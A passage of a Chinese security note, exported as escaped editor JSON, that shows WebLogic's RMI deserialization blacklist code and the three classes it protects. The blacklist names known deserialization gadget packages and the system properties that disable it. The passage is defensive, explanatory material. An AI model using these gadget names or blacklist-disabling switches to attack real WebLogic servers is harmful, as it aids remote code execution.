\&#34;weblogic.rmi.blacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SlHx-1673851061240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BaLp-1673851061239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0hAe-1673851061242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;973I-1673851061241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = \&#34;weblogic.rmi.disabledefaultblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MWZL-1673851061244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;77IP-1673851061243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vdld-1673851061246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ngCz-1673851061245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.disableblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S8vq-1673851061248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QrOU-1673851061247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nqyw-1673851061250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sN1B-1673851061249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final String DEFAULT_BLACK_LIST = \&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rKYw-1673851061252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XPh2-1673851061251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OyDm-1673851061254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HTDI-1673851061253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final HashSet&lt;String&gt; BLACK_LIST = new HashSet&lt;String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M6Db-1673851061256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMCo-1673851061255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O3L-1673851061258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WEcT-1673851061257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Ol7-1673851061260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6mDD-1673851061259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (!isBlackListDisabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xP2U-1673851061262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2E45-1673851061261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      if (!isDefaultBlacklistEntriesDisabled())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6JIQ-1673851061264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pEAs-1673851061263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        updateBlackList(\&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;); &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0oO-1673851061266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mlVQ-1673851061265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      updateBlackList(System.getProperty(\&#34;weblogic.rmi.blacklist\&#34;, null));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yq6g-1673851061268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmYh-1673851061267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fgrW-1673851061270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RywC-1673851061269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u6p5-1673851061272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;faI0-1673851061271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpDD-1673851061274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zPcD-1673851061273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isBlackListDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Xi4-1673851061276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6HO-1673851061275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disableblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Ekh-1673851061278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KyuU-1673851061277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZRQz-1673851061280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mWfM-1673851061279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHOz-1673851061282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m97l-1673851061281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isDefaultBlacklistEntriesDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vqwn-1673851061284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bJ7E-1673851061283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disabledefaultblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zu27-1673851061286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qDCg-1673851061285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddRd-1673851061288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RyqE-1673851061287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BQM9-1673851061290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hxPl-1673851061289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void updateBlackList(String blackList) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kdBa-1673851061292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Er1-1673851061291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (blackList != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UrU2-1673851061294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lOrB-1673851061293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      StringTokenizer st = new StringTokenizer(blackList, \&#34;,\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jLX4-1673851061297&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HGBH-1673851061296&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      while (st.hasMoreTokens()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b7Rt-1673851061299&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7sLF-1673851061298&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String token = st.nextToken();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IWLW-1673851061301&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;savD-1673851061300&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        processToken(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KKEa-1673851061303&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4jXj-1673851061302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JKGC-1673851061305&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8DO-1673851061304&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4vP-1673851061307&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v1jz-1673851061306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bFsw-1673851061309&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q1s2-1673851061308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Co53-1673851061311&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eBw6-1673851061310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void processToken(String token) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z5Kv-1673851061313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G8Z-1673851061312&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (token.startsWith(\&#34;+\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IK75-1673851061315&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ixYc-1673851061314&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZylG-1673851061317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LV1l-1673851061316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (token.startsWith(\&#34;-\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;osyv-1673851061319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GoX2-1673851061318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.remove(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bd28-1673851061321&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;poMK-1673851061320&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XHWQ-1673851061323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dXtA-1673851061322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mrg0-1673851061325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xjAU-1673851061324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hi5x-1673851061327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;soXm-1673851061326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DDJe-1673851061329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ADzX-1673851061328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rZI4-1673851061331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;55pd-1673851061330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  public static boolean isBlackListed(String className) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bGnI-1673851061333&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EuXY-1673851061332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    String pkgName;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RlmW-1673851061335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SJ-1673851061334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (className.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(className))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nehr-1673851061337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sTO7-1673851061336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return true; &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fM7V-1673851061339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s83w-1673851061338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4tS0-1673851061341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TYek-1673851061340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      pkgName = className.substring(0, className.lastIndexOf(&#39;.&#39;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NNfy-1673851061343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h3gU-1673851061342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H5rV-1673851061345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TxRR-1673851061344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fj6y-1673851061347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOMf-1673851061346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OQfZ-1673851061349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ql3q-1673851061348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return (pkgName.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(pkgName));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UsyO-1673851061351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GSo9-1673851061350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vq96-1673851061353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GVPD-1673851061352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZjAS-1673851061355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qp18-1673851061354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uwb8-1673850999749&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LmuJ-1673850999750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I2SQ-1673575672005&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eweA-1673575672003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这个黑名单主要作用于三个类的resolveClass方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KoXv-1673851226175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GQR5-1673851226170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yiIY-1673851226169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lgLX-1673851243711&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQc9-1673851243710&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U8Y8-1673851251940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TaKe-1673851251938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z1sQ-1673851175093&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5066/WEBRESOURCEaa67ba749ec95132a8a9d2009336aac9&#34;,&#34;width&#34;:701,&#34;height&#34;:446},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eyJ0-1673851195103&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5069/WEBRESOURCEf91448afe07646b9fb97574ec83a59df&#34;,&#34;width&#34;:690,&#34;height&#34;:437},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y41A-1673851218116&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5071/WEBRESOURCE3aebdcb965d90c3657fe63a1626c4e94&#34;,&#34;width&#34;:676,&#34;height&#34;:427},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PGMV-1673851203371&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ndd2-1673851203369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VoOq-1673575776072&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BJH7-1673575776073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时也有师傅提到，开放在外网的情况下，还可以采用web代理和负载均衡。&#34;,&#34;marks&#34;:[]}]}],&#34;sta